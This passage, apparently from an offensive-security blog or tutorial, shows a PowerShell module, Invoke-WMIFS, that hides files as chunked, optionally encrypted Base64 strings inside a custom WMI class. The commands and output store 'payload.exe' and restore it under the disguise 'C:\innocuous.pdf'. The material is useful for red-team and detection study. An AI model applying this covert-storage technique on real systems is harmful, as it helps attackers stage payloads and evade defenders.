Covert File Storage
Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.
To simplify this process, I created a module called Invoke-WMIFS.ps1. To start we will import the module:
PS C:\> Import-Module Invoke-WMIFS.ps1
This module provides the following functions:
- Get-WmiLength
- New-WmiClass
- ConvertTo-Base64
- ConvertFrom-Base64
- Invoke-InsertFile
- Invoke-RetrieveFile
To start, we use the function New-WmiClass to create a class that is preconfigured to store the files.
PS C:\> $ClassName = "WMIFS"
PS C:\> New-WmiClass -ClassName $ClassName
Path : \\.\root\cimv2:WMIFS
RelativePath : WMIFS
Server : .
NamespacePath : root\cimv2
ClassName : WMIFS
IsClass : True
IsInstance : False
IsSingleton : False
PS C:\> Get-CimClass -ClassName $ClassName
NameSpace: ROOT/cimv2
CimClassName CimClassMethods CimClassProperties
------------ --------------- ------------------
WMIFS {} {FileName, FileStore, Index}
This new class has three properties: FileStore, FileName, and Index.
We then use the function Get-WmiLength to retrieve the max length of a string that can be inserted into the class. This can vary somewhat and should be discovered each time.
PS C:\> $Length = Get-WmiLength -Verbose -ClassName $ClassName
VERBOSE: Testing Length 8000
[TRUNCATED]
VERBOSE: Testing Length 8143
Set-WmiInstance : Quota violation
At C:\Invoke-WMIFS.ps1:19 char:27
+ ... $Insert = Set-WmiInstance -Class $ClassName -Arguments @{
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [Set-WmiInstance], ManagementException
+ FullyQualifiedErrorId : SetWMIManagementException,Microsoft.PowerShell.Commands.SetWmiInstance
PS C:\> $Length
8143
In this test we are looking for WMI to throw a Quota Violation indicating the string is too long to be inserted.
In this example, we are inserting an executable file, and for this we use the ConvertTo-Base64 function.
PS C:\> $FileName = "payload.exe"
PS C:\> $EncodedText = ConvertTo-Base64 -FileName $FileName -Verbose
VERBOSE: Reading C:\Windows\System32\payload.exe
VERBOSE: Encoding C:\Windows\System32\payload.exe
VERBOSE: Finished Encoding C:\Windows\System32\payload.exe
Then to place the file into out WMIFS WMI class we use the Invoke-InsertFile function. This will slice the file into lengths predetermined by Get-WmiLength and place the chunks into the class we created.
PS C:\> Invoke-InsertFile -EncodedText $EncodedText -FileName $FileName -ClassName $ClassName -StrLen $Length -Verbose
VERBOSE: Inserting Section: 0 to 8100
[TRUNCATED]
VERBOSE: Inserting Section: 1927800 to 1935900
To later retrieve the file, we use the Invoke-RetrieveFile, which operates Invoke-InsertFile in reverse. It will retrieve the file from WMI and then reassemble it in order.
PS C:\> $File = Invoke-RetrieveFile -FileName $FileName -ClassName $ClassName -Verbose3
VERBOSE: Reading Section 0 (8100)
[TRUNCATED]
VERBOSE: Reading Section 238 (7468)
Then to write the file back to disk, we use the ConvertFrom-Base64 function.
PS C:\> ConvertFrom-Base64 -EncodedText $File -FileName 'C:\innocuous.pdf' -Verbose
VERBOSE: Decoding File
VERBOSE: Finished Decoding File
VERBOSE: Writing File to Disk as C:\innocuous.pdf
Additionally, the option to use the pipeline and encrypt the file store is available. By default, it uses the current user’s certificate as the encryption key, but optionally a key can be explicitly specified.
PS C:\> ConvertTo-Base64 -FileName .\SuperSecret.pdf -Verbose | Invoke-InsertFile -FileName SuperSecret.pdf -ClassName WMIFS -Encrypt -Verbose
VERBOSE: Reading .\SuperSecret.pdf
VERBOSE: Encoding .\SuperSecret.pdf
VERBOSE: Finished Encoding .\SuperSecret.pdf
VERBOSE: Inserting Section: 0 to 1904 (0)
VERBOSE: Inserting Section: 1904 to 3808 (1)
VERBOSE: Inserting Section: 3808 to 5712 (2)
VERBOSE: Inserting Section: 5712 to 7616 (3)
...
Later the file can be retrieved and decrypted.
PS C:\> Invoke-RetrieveFile -FileName SuperSecret.pdf -ClassName WMIFS -Decrypt -Verbose | ConvertFrom-Base64 -WriteToDisk -FileName .\SuperSecret.pdf
VERBOSE: Reading Section 0 (7908)
VERBOSE: Reading Section 1 (7908)
VERBOSE: Reading Section 2 (7908)
VERBOSE: Reading Section 3 (7908)
...